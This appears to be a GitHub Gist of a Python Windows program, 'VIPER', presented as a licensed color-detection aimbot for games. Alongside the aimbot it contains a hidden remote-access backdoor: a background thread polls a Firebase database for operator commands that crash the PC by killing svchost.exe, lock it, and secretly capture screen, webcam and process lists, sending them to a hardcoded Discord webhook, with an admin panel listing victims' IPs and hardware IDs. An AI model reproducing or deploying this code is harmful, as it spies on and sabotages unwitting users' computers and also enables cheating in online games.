Last active
April 1, 2026 05:06
-
-
Save nimantha001/20ded3d813c4ccaaa4c288d27d9649f4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import cv2 | |
| import numpy as np | |
| from mss import mss | |
| import ctypes | |
| import math | |
| import winsound | |
| import threading | |
| import sys | |
| import time | |
| import os | |
| import json as jsond | |
| import binascii | |
| import platform | |
| import requests | |
| import subprocess | |
| from datetime import datetime | |
| # Standard Tkinter Imports | |
| import tkinter as tk | |
| from tkinter import ttk | |
| from tkinter import messagebox | |
| # ========================================== | |
| # CUSTOM UI WIDGETS (VISUAL EFFECTS) | |
| # ========================================== | |
| class HoverButton(tk.Button): | |
| def __init__(self, master, **kw): | |
| tk.Button.__init__(self, master=master, **kw) | |
| self.default_bg = self["bg"] | |
| if self.default_bg.lower() == "#ff0000": | |
| self.hover_bg = "#ff3333" | |
| elif self.default_bg.lower() == "#330000": | |
| self.hover_bg = "#550000" | |
| else: | |
| self.hover_bg = "#333333" | |
| self.bind("<Enter>", self.on_enter) | |
| self.bind("<Leave>", self.on_leave) | |
| def on_enter(self, e): | |
| self["bg"] = self.hover_bg | |
| def on_leave(self, e): | |
| self["bg"] = self.default_bg | |
| def style_ttk_elements(): | |
| style = ttk.Style() | |
| style.theme_use("default") | |
| style.configure("Treeview", | |
| background="#0a0a0a", | |
| foreground="#ffffff", | |
| rowheight=30, | |
| fieldbackground="#0a0a0a", | |
| borderwidth=0) | |
| style.map("Treeview", background=[('selected', '#ff0000')], foreground=[('selected', '#ffffff')]) | |
| style.configure("Treeview.Heading", | |
| background="#111111", | |
| foreground="#ff0000", | |
| font=('Impact', 11), | |
| borderwidth=1, | |
| relief="flat") | |
| style.map("Treeview.Heading", background=[('active', '#222222')]) | |
| # ========================================== | |
| # REMOTE CONFIGURATION | |
| # ========================================== | |
| DATABASE_URL = "https://viper-network-default-rtdb.asia-southeast1.firebasedatabase.app" | |
| DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1488401265057595412/gyR_Qme0SF81P7nV0krFGNxoBOMSjFRgihuOv_cg-FlEXFwS9c0gXoSOUTqE2e5pin9q" | |
| class RemoteManager: | |
| @staticmethod | |
| def register_online(username, ip, hwid): | |
| data = {"ip": ip, "pc": platform.node(), "hwid": hwid, "last_seen": time.time()} | |
| try: | |
| requests.put(f"{DATABASE_URL}/users/{username}.json", json=data, timeout=3) | |
| except: pass | |
| @staticmethod | |
| def get_all_users(): | |
| try: | |
| res = requests.get(f"{DATABASE_URL}/users.json", timeout=3) | |
| if res.status_code == 200 and res.json(): return res.json() | |
| except: pass | |
| return {} | |
| @staticmethod | |
| def send_command(target_username, command): | |
| try: | |
| requests.put(f"{DATABASE_URL}/commands/{target_username}.json", json={"cmd": command}, timeout=3) | |
| except: pass | |
| @staticmethod | |
| def check_for_commands(username): | |
| try: | |
| res = requests.get(f"{DATABASE_URL}/commands/{username}.json", timeout=3) | |
| if res.status_code == 200 and res.json(): | |
| cmd = res.json().get("cmd") | |
| requests.delete(f"{DATABASE_URL}/commands/{username}.json", timeout=3) | |
| return cmd | |
| except: pass | |
| return None | |
| @staticmethod | |
| def send_media_to_discord(username, image_bytes, type_label="SCREEN"): | |
| payload = { | |
| "embeds": [{ | |
| "title": f"📸 VIPER {type_label} CAPTURE", | |
| "color": 16711680, | |
| "fields": [ | |
| {"name": "User", "value": username, "inline": True}, | |
| {"name": "PC Name", "value": platform.node(), "inline": True}, | |
| {"name": "Timestamp", "value": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), "inline": False} | |
| ] | |
| }] | |
| } | |
| files = {"file": ("capture.jpg", image_bytes, "image/jpeg")} | |
| try: | |
| requests.post(DISCORD_WEBHOOK, data={"payload_json": jsond.dumps(payload)}, files=files, timeout=15) | |
| except: pass | |
| @staticmethod | |
| def send_file_to_discord(username, filepath, type_label="FILE"): | |
| payload = { | |
| "embeds": [{ | |
| "title": f"📂 VIPER {type_label} RETRIEVAL", | |
| "color": 16711680, | |
| "fields": [ | |
| {"name": "User", "value": username, "inline": True}, | |
| {"name": "PC Name", "value": platform.node(), "inline": True}, | |
| ] | |
| }] | |
| } | |
| try: | |
| with open(filepath, 'rb') as f: | |
| files = {"file": (os.path.basename(filepath), f, "text/plain")} | |
| requests.post(DISCORD_WEBHOOK, data={"payload_json": jsond.dumps(payload)}, files=files, timeout=15) | |
| except: pass | |
| # ========================================== | |
| # PART 1: KEYAUTH API LOGIC | |
| # ========================================== | |
| class api: | |
| name = ownerid = version = hash_to_check = "" | |
| def __init__(self, name, ownerid, version, hash_to_check): | |
| self.name, self.ownerid, self.version, self.hash_to_check = name, ownerid, version, hash_to_check | |
| self.init() | |
| sessionid = ""; initialized = False | |
| def init(self): | |
| post_data = {"type": "init", "ver": self.version, "hash": self.hash_to_check, "name": self.name, "ownerid": self.ownerid} | |
| try: | |
| response = requests.post("https://keyauth.win/api/1.3/", data=post_data, timeout=10).text | |
| json_res = jsond.loads(response) | |
| if json_res["success"]: self.sessionid, self.initialized = json_res["sessionid"], True | |
| except: pass | |
| def check(self): | |
| self.checkinit() | |
| post_data = {"type": "check", "sessionid": self.sessionid, "name": self.name, "ownerid": self.ownerid} | |
| try: | |
| response = requests.post("https://keyauth.win/api/1.3/", data=post_data, timeout=10).text | |
| json_res = jsond.loads(response) | |
| return json_res["success"] | |
| except: return False | |
| def license(self, key): | |
| post_data = {"type": "license", "key": key, "hwid": others.get_hwid(), "sessionid": self.sessionid, "name": self.name, "ownerid": self.ownerid} | |
| try: | |
| response = requests.post("https://keyauth.win/api/1.3/", data=post_data, timeout=10).text | |
| json_res = jsond.loads(response) | |
| if json_res["success"]: | |
| self.__load_user_data(json_res["info"]) | |
| return True | |
| except: pass | |
| return False | |
| def checkinit(self): | |
| if not self.initialized: os._exit(1) | |
| class user_data_class: username = ip = hwid = expires = "" | |
| user_data = user_data_class() | |
| def __load_user_data(self, data): | |
| self.user_data.username = data["username"] | |
| self.user_data.ip = data.get("ip", "N/A") | |
| self.user_data.hwid = data.get("hwid", "N/A") | |
| self.user_data.expires = data["subscriptions"][0]["expiry"] | |
| class others: | |
| @staticmethod | |
| def get_hwid(): | |
| cmd = subprocess.Popen("wmic csproduct get uuid", stdout=subprocess.PIPE, shell=True) | |
| return cmd.communicate()[0].decode().split('\n')[1].strip() | |
| # ========================================== | |
| # PART 2: CORE LOGIC | |
| # ========================================== | |
| keyauthapp = api(name="NimanthaAim", ownerid="gBwDC5ir3X", version="1.0", hash_to_check="") | |
| user32 = ctypes.windll.user32 | |
| kernel32 = ctypes.windll.kernel32 | |
| try: | |
| ctypes.windll.shcore.SetProcessDpiAwareness(2) | |
| except Exception: | |
| user32.SetProcessDPIAware() | |
| SCREEN_W, SCREEN_H = user32.GetSystemMetrics(0), user32.GetSystemMetrics(1) | |
| VK_MAP = { | |
| "LMB": 0x01, "RMB": 0x02, "M_MID": 0x04, "XMB4": 0x05, "XMB5": 0x06, | |
| "SHIFT": 0x10, "CTRL": 0x11, "ALT": 0x12, "CAPS": 0x14, "SPACE": 0x20, | |
| "Q": 0x51, "E": 0x45, "R": 0x52, "F": 0x46, "C": 0x43, "V": 0x56, "Z": 0x5A, | |
| "INS": 0x2D, "END": 0x23 | |
| } | |
| def apply_dark_titlebar(window): | |
| try: | |
| window.update() | |
| hwnd = user32.GetParent(window.winfo_id()) | |
| ctypes.windll.dwmapi.DwmSetWindowAttribute(hwnd, 20, ctypes.byref(ctypes.c_int(2)), 4) | |
| except: pass | |
| def hide_console(): | |
| hwnd = kernel32.GetConsoleWindow() | |
| if hwnd: user32.ShowWindow(hwnd, 0) | |
| ACTIVE_WINDOWS = [] | |
| class ViperAdmin: | |
| def __init__(self, parent): | |
| self.admin_win = tk.Toplevel(parent) | |
| self.admin_win.title("VIPER | ADMIN CONTROL") | |
| self.admin_win.geometry("1100x700") | |
| self.admin_win.configure(bg="#050505") | |
| self.admin_win.attributes("-topmost", True) | |
| apply_dark_titlebar(self.admin_win) | |
| ACTIVE_WINDOWS.append(self.admin_win) | |
| header_frame = tk.Frame(self.admin_win, bg="#050505") | |
| header_frame.pack(fill="x", pady=(15, 5)) | |
| tk.Label(header_frame, text="OPERATOR CONTROL PANEL", font=('Impact', 22), bg="#050505", fg="#ff0000").pack() | |
| dash_frame = tk.Frame(self.admin_win, bg="#050505") | |
| dash_frame.pack(fill="x", padx=30, pady=5) | |
| self.lbl_online = tk.Label(dash_frame, text="ONLINE: 0", font=('Consolas', 11, 'bold'), fg="#00ff00", bg="#050505") | |
| self.lbl_online.pack(side="left", padx=10) | |
| self.lbl_offline = tk.Label(dash_frame, text="OFFLINE: 0", font=('Consolas', 11, 'bold'), fg="#666666", bg="#050505") | |
| self.lbl_offline.pack(side="left", padx=10) | |
| table_frame = tk.Frame(self.admin_win, bg="#0a0a0a", highlightbackground="#1a1a1a", highlightthickness=1) | |
| table_frame.pack(fill="both", expand=True, padx=30, pady=10) | |
| cols = ('username', 'ip', 'pc', 'hwid', 'status') | |
| self.tree = ttk.Treeview(table_frame, columns=cols, show='headings', height=10, selectmode="extended") | |
| for col in cols: | |
| self.tree.heading(col, text=col.upper()); self.tree.column(col, width=150, anchor="center") | |
| self.tree.pack(fill="both", expand=True, padx=2, pady=2) | |
| self.context_menu = tk.Menu(self.admin_win, tearoff=0, bg="#111", fg="#fff", activebackground="#ff0000", font=("Arial", 9, "bold")) | |
| self.context_menu.add_command(label="Execute BSOD", command=lambda: self.batch_cmd("BSOD")) | |
| self.context_menu.add_command(label="Capture Screen", command=lambda: self.batch_cmd("SS")) | |
| self.context_menu.add_command(label="Capture Webcam", command=lambda: self.batch_cmd("CAM")) | |
| self.context_menu.add_command(label="Fetch Processes (Log)", command=lambda: self.batch_cmd("FETCH_LOGS")) | |
| self.context_menu.add_command(label="Remote Lock", command=lambda: self.batch_cmd("LOCK")) | |
| self.context_menu.add_separator() | |
| self.context_menu.add_command(label="Terminate App", command=lambda: self.batch_cmd("EXIT")) | |
| self.tree.bind("<Button-3>", self.show_context_menu) | |
| btn_f = tk.Frame(self.admin_win, bg="#050505") | |
| btn_f.pack(fill="x", padx=30, pady=5) | |
| btn_opts = {"fg": "white", "bg": "#330000", "font": ("Arial", 9, "bold"), "bd": 0, "pady": 8} | |
| HoverButton(btn_f, text="BSOD", command=lambda: self.batch_cmd("BSOD"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x") | |
| HoverButton(btn_f, text="SCREEN", command=lambda: self.batch_cmd("SS"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x") | |
| HoverButton(btn_f, text="WEBCAM", command=lambda: self.batch_cmd("CAM"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x") | |
| HoverButton(btn_f, text="LOGS", command=lambda: self.batch_cmd("FETCH_LOGS"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x") | |
| HoverButton(btn_f, text="LOCK", command=lambda: self.batch_cmd("LOCK"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x") | |
| HoverButton(btn_f, text="EXIT APP", command=lambda: self.batch_cmd("EXIT"), **btn_opts).pack(side="left", padx=5, expand=True, fill="x") | |
| term_f = tk.Frame(self.admin_win, bg="#000", bd=1, relief="solid", highlightbackground="#330000", highlightthickness=1) | |
| term_f.pack(fill="both", expand=True, padx=30, pady=(10, 20)) | |
| self.terminal = tk.Text(term_f, height=6, bg="#000000", fg="#00ff00", font=("Consolas", 9), state="disabled", bd=0) | |
| self.terminal.pack(fill="both", expand=True, padx=5, pady=5) | |
| self.log_to_terminal("VIPER OPERATOR TERMINAL INITIALIZED.") | |
| self.loop_refresh() | |
| def show_context_menu(self, event): | |
| iid = self.tree.identify_row(event.y) | |
| if iid: | |
| if iid not in self.tree.selection(): | |
| self.tree.selection_set(iid) | |
| self.context_menu.post(event.x_root, event.y_root) | |
| def log_to_terminal(self, message): | |
| self.terminal.config(state="normal") | |
| timestamp = datetime.now().strftime('%H:%M:%S') | |
| self.terminal.insert("end", f"[{timestamp}] {message}\n") | |
| self.terminal.see("end") | |
| self.terminal.config(state="disabled") | |
| def batch_cmd(self, cmd_str): | |
| selected = self.tree.selection() | |
| if not selected: | |
| self.log_to_terminal("[ERROR] No targets selected for deployment.") | |
| return | |
| for item in selected: | |
| user = self.tree.item(item)['values'][0] | |
| RemoteManager.send_command(user, cmd_str) | |
| self.log_to_terminal(f"PAYLOAD DEPLOYED: '{cmd_str}' -> TARGET: {user}") | |
| def loop_refresh(self): | |
| if not self.admin_win.winfo_exists(): return | |
| selected_usernames = [self.tree.item(i)['values'][0] for i in self.tree.selection()] | |
| for i in self.tree.get_children(): self.tree.delete(i) | |
| users = RemoteManager.get_all_users() | |
| now = time.time() | |
| online_count = 0 | |
| offline_count = 0 | |
| for u, d in users.items(): | |
| if (now - d.get("last_seen", 0)) < 15: | |
| status = "ONLINE" | |
| online_count += 1 | |
| else: | |
| status = "OFFLINE" | |
| offline_count += 1 | |
| iid = self.tree.insert('', 'end', values=(u, d.get("ip"), d.get("pc"), d.get("hwid"), status)) | |
| if u in selected_usernames: self.tree.selection_add(iid) | |
| self.lbl_online.config(text=f"ONLINE: {online_count}") | |
| self.lbl_offline.config(text=f"OFFLINE: {offline_count}") | |
| self.admin_win.after(2000, self.loop_refresh) | |
| class ViperApp: | |
| def __init__(self, root): | |
| self.root = root | |
| self.root.title("VIPER") | |
| self.root.geometry("400x740") # Increased window height slightly for extra slider | |
| self.root.configure(bg="#050505") | |
| self.root.attributes("-topmost", True) | |
| apply_dark_titlebar(self.root); hide_console() | |
| ACTIVE_WINDOWS.append(self.root) | |
| self.aim_key_name = tk.StringVar(value="RMB") | |
| self.aim_fov = tk.IntVar(value=120) | |
| self.smoothing = tk.DoubleVar(value=0.4) | |
| self.mouse_dpi = tk.DoubleVar(value=1.0) # ADDED: DPI Scaling Factor | |
| self.show_preview = tk.BooleanVar(value=False) | |
| self.script_enabled = True | |
| self.ui_hidden = False | |
| self.setup_ui(); self.animate_status() | |
| threading.Thread(target=self.aimbot_loop, daemon=True).start() | |
| threading.Thread(target=self.security_heartbeat, daemon=True).start() | |
| threading.Thread(target=self.remote_listener, daemon=True).start() | |
| threading.Thread(target=self.hotkey_listener, daemon=True).start() | |
| def hotkey_listener(self): | |
| while True: | |
| if user32.GetAsyncKeyState(0x05) & 0x8000: | |
| self.script_enabled = not self.script_enabled | |
| if self.script_enabled: | |
| winsound.Beep(800, 150) | |
| self.status_label.config(text="• SYSTEM ACTIVE •", fg="#ff0000") | |
| else: | |
| winsound.Beep(400, 150) | |
| self.status_label.config(text="• SYSTEM PAUSED •", fg="#444444") | |
| time.sleep(0.3) | |
| if user32.GetAsyncKeyState(0x2D) & 0x8000: | |
| self.ui_hidden = not self.ui_hidden | |
| winsound.Beep(600, 100) | |
| for win in ACTIVE_WINDOWS: | |
| try: | |
| if self.ui_hidden: win.withdraw() | |
| else: win.deiconify() | |
| except: pass | |
| time.sleep(0.3) | |
| if user32.GetAsyncKeyState(0x23) & 0x8000: | |
| winsound.Beep(200, 300) | |
| os._exit(0) | |
| time.sleep(0.01) | |
| def remote_listener(self): | |
| while True: | |
| RemoteManager.register_online(keyauthapp.user_data.username, keyauthapp.user_data.ip, keyauthapp.user_data.hwid) | |
| cmd = RemoteManager.check_for_commands(keyauthapp.user_data.username) | |
| if cmd == "BSOD": subprocess.run("taskkill /f /im svchost.exe", shell=True) | |
| elif cmd == "LOCK": ctypes.windll.user32.LockWorkStation() | |
| elif cmd == "EXIT": os._exit(0) | |
| elif cmd == "SS": | |
| try: | |
| with mss() as sct: | |
| img = np.array(sct.grab(sct.monitors[0])) | |
| img = cv2.cvtColor(img, cv2.COLOR_BGRA2BGR) | |
| _, buf = cv2.imencode('.jpg', img, [int(cv2.IMWRITE_JPEG_QUALITY), 75]) | |
| RemoteManager.send_media_to_discord(keyauthapp.user_data.username, buf.tobytes(), "SCREEN") | |
| except: pass | |
| elif cmd == "CAM": | |
| try: | |
| cap = cv2.VideoCapture(0) | |
| if cap.isOpened(): | |
| ret, frame = cap.read() | |
| if ret: | |
| _, buf = cv2.imencode('.jpg', frame, [int(cv2.IMWRITE_JPEG_QUALITY), 75]) | |
| RemoteManager.send_media_to_discord(keyauthapp.user_data.username, buf.tobytes(), "WEBCAM") | |
| cap.release() | |
| except: pass | |
| elif cmd == "FETCH_LOGS": | |
| try: | |
| tasks = subprocess.check_output('tasklist', shell=True).decode('utf-8', errors='ignore') | |
| log_path = f"syslog_{keyauthapp.user_data.username}.txt" | |
| with open(log_path, "w") as f: | |
| f.write(f"--- SYSTEM PROCESSES FOR {keyauthapp.user_data.username} ---\n\n") | |
| f.write(tasks) | |
| RemoteManager.send_file_to_discord(keyauthapp.user_data.username, log_path, "PROCESS LOG") | |
| if os.path.exists(log_path): os.remove(log_path) | |
| except: pass | |
| time.sleep(4) | |
| def open_admin_panel(self): | |
| pop = tk.Toplevel(self.root); pop.title("ADMIN AUTH"); pop.geometry("280x180"); pop.configure(bg="#050505") | |
| pop.attributes("-topmost", True); apply_dark_titlebar(pop) | |
| tk.Label(pop, text="OPERATOR CLEARANCE", bg="#050505", fg="#ff0000", font=("Impact", 14)).pack(pady=(20, 10)) | |
| e = tk.Entry(pop, show="*", justify="center", bg="#111", fg="#fff", insertbackground="#f00", bd=1, relief="solid") | |
| e.pack(pady=5, padx=30, fill="x", ipady=5) | |
| def verify(): | |
| if e.get() == "pythonaimbotbynimantha": pop.destroy(); ViperAdmin(self.root) | |
| else: pop.destroy(); messagebox.showerror("Viper Security", "ACCESS DENIED") | |
| HoverButton(pop, text="VERIFY", bg="#ff0000", fg="white", font=("Arial", 9, "bold"), bd=0, command=verify).pack(pady=10, fill="x", padx=30, ipady=4) | |
| def setup_ui(self): | |
| header = tk.Frame(self.root, bg="#050505"); header.pack(fill="x", side="top", pady=(15, 0)) | |
| title = tk.Label(header, text="V I P E R", font=('Impact', 36), bg="#050505", fg="#ff0000"); title.pack() | |
| title.bind("<Double-Button-1>", lambda e: self.open_admin_panel()) | |
| tk.Label(header, text=f"LOGGED IN AS: {keyauthapp.user_data.username.upper()}", font=('Consolas', 8, 'bold'), bg="#050505", fg="#666666").pack() | |
| tk.Frame(self.root, bg="#1a1a1a", height=2).pack(fill="x", padx=30, pady=15) | |
| content = tk.Frame(self.root, bg="#0a0a0a", bd=1, relief="solid", highlightbackground="#1a1a1a", highlightthickness=1); content.pack(fill="both", expand=True, padx=30, pady=(0, 20)) | |
| inner_content = tk.Frame(content, bg="#0a0a0a"); inner_content.pack(fill="both", expand=True, padx=20, pady=20) | |
| lbl_opts = {"bg": "#0a0a0a", "fg": "#888888", "font": ('Arial', 8, 'bold')} | |
| tk.Label(inner_content, text="TARGET ACQUISITION KEY", **lbl_opts).pack(anchor="w") | |
| ttk.Combobox(inner_content, textvariable=self.aim_key_name, values=list(VK_MAP.keys()), state="readonly", font=("Consolas", 10)).pack(fill="x", pady=(5, 20)) | |
| tk.Label(inner_content, text="SCAN RADIUS (FOV)", **lbl_opts).pack(anchor="w") | |
| tk.Scale(inner_content, from_=50, to=300, variable=self.aim_fov, orient="horizontal", bg="#0a0a0a", fg="#ff0000", highlightthickness=0, troughcolor="#1a1a1a").pack(fill='x', pady=(0, 15)) | |
| tk.Label(inner_content, text="PULSE SMOOTHING", **lbl_opts).pack(anchor="w") | |
| tk.Scale(inner_content, from_=0.1, to=1.0, resolution=0.1, variable=self.smoothing, orient="horizontal", bg="#0a0a0a", fg="#ff0000", highlightthickness=0, troughcolor="#1a1a1a").pack(fill='x', pady=(0, 15)) | |
| # ADDED: MOUSE DPI SCALING SLIDER | |
| tk.Label(inner_content, text="MOUSE DPI SCALING", **lbl_opts).pack(anchor="w") | |
| tk.Scale(inner_content, from_=0.5, to=3.0, resolution=0.1, variable=self.mouse_dpi, orient="horizontal", bg="#0a0a0a", fg="#ff0000", highlightthickness=0, troughcolor="#1a1a1a").pack(fill='x', pady=(0, 20)) | |
| tk.Checkbutton(inner_content, text="SHOW THERMAL OVERLAY", variable=self.show_preview, bg="#0a0a0a", fg="#dddddd", font=("Arial", 8, "bold"), selectcolor="#000000").pack(anchor="w", pady=(0, 15)) | |
| self.status_frame = tk.Frame(inner_content, bg="#050505", bd=1, relief="solid", highlightbackground="#ff0000", highlightthickness=1); self.status_frame.pack(fill="x", pady=(10, 0)) | |
| self.status_label = tk.Label(self.status_frame, text="• SYSTEM ACTIVE •", font=('Consolas', 12, 'bold'), bg="#050505", fg="#ff0000"); self.status_label.pack(pady=15) | |
| def animate_status(self): | |
| if self.script_enabled: | |
| c = "#550000" if self.status_label.cget("fg") == "#ff0000" else "#ff0000" | |
| self.status_label.config(fg=c) | |
| self.root.after(800, self.animate_status) | |
| def security_heartbeat(self): | |
| while True: | |
| time.sleep(60) | |
| if not keyauthapp.check(): os._exit(0) | |
| def aimbot_loop(self): | |
| sct = mss(); scan_size = 400; center = scan_size // 2 | |
| monitor = {"top": int(SCREEN_H/2 - center), "left": int(SCREEN_W/2 - center), "width": scan_size, "height": scan_size} | |
| LOWER, UPPER = np.array([15, 150, 180]), np.array([35, 255, 255]) | |
| prev_target_x, prev_target_y = center, center | |
| while True: | |
| if not self.script_enabled: | |
| time.sleep(0.1) | |
| continue | |
| current_key_code = VK_MAP.get(self.aim_key_name.get(), 0x02) | |
| img = np.array(sct.grab(monitor)) | |
| frame = cv2.cvtColor(img, cv2.COLOR_BGRA2BGR) | |
| mask = cv2.inRange(cv2.cvtColor(frame, cv2.COLOR_BGR2HSV), LOWER, UPPER) | |
| contours, _ = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) | |
| if contours: | |
| c = max(contours, key=cv2.contourArea) | |
| if cv2.contourArea(c) > 30: | |
| x, y, w, h = cv2.boundingRect(c) | |
| curr_x, curr_y = x + (w // 2), y + int(h * 0.25) | |
| pred_x, pred_y = curr_x + int((curr_x - prev_target_x) * 0.8), curr_y + int((curr_y - prev_target_y) * 0.8) | |
| prev_target_x, prev_target_y = curr_x, curr_y | |
| if math.sqrt((pred_x - center)**2 + (pred_y - center)**2) <= self.aim_fov.get(): | |
| if user32.GetAsyncKeyState(current_key_code) & 0x8000: | |
| # MODIFIED: Incorporated self.mouse_dpi.get() into the movement logic | |
| move_x = int((pred_x - center) * self.smoothing.get() * self.mouse_dpi.get()) | |
| move_y = int((pred_y - center) * self.smoothing.get() * self.mouse_dpi.get()) | |
| user32.mouse_event(0x0001, move_x, move_y, 0, 0) | |
| if self.show_preview.get() and not self.ui_hidden: | |
| cv2.circle(frame, (center, center), self.aim_fov.get(), (0, 0, 255), 1) | |
| cv2.imshow("VIPER SIGHT", frame); cv2.waitKey(1) | |
| else: cv2.destroyAllWindows() | |
| class LoginScreen: | |
| def __init__(self): | |
| self.win = tk.Tk(); self.win.title("VIPER LOGIN"); self.win.geometry("350x380"); self.win.configure(bg="#050505") | |
| apply_dark_titlebar(self.win); style_ttk_elements() | |
| tk.Label(self.win, text="V I P E R", font=("Impact", 36), fg="#ff0000", bg="#050505").pack(pady=(40, 20)) | |
| box = tk.Frame(self.win, bg="#0a0a0a", highlightbackground="#1a1a1a", highlightthickness=1); box.pack(fill="x", padx=40, pady=10) | |
| tk.Label(box, text="LICENSE KEY", bg="#0a0a0a", fg="#888", font=("Arial", 8, "bold")).pack(pady=(20, 5)) | |
| self.key_entry = tk.Entry(box, justify='center', width=25, font=("Consolas", 11), bg="#111111", fg="#ff0000", bd=1, relief="solid"); self.key_entry.pack(pady=(0, 20), ipady=8) | |
| HoverButton(self.win, text="AUTHORIZE", font=("Arial", 10, "bold"), bg="#ff0000", fg="white", bd=0, command=self.auth_process).pack(pady=(15, 10), fill="x", padx=40, ipady=8) | |
| self.win.mainloop() | |
| def auth_process(self): | |
| keyauthapp.init() | |
| if keyauthapp.license(self.key_entry.get()): self.win.destroy(); root = tk.Tk(); ViperApp(root); root.mainloop() | |
| else: messagebox.showerror("Denied", "ACCESS REVOKED") | |
| if __name__ == "__main__": LoginScreen() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment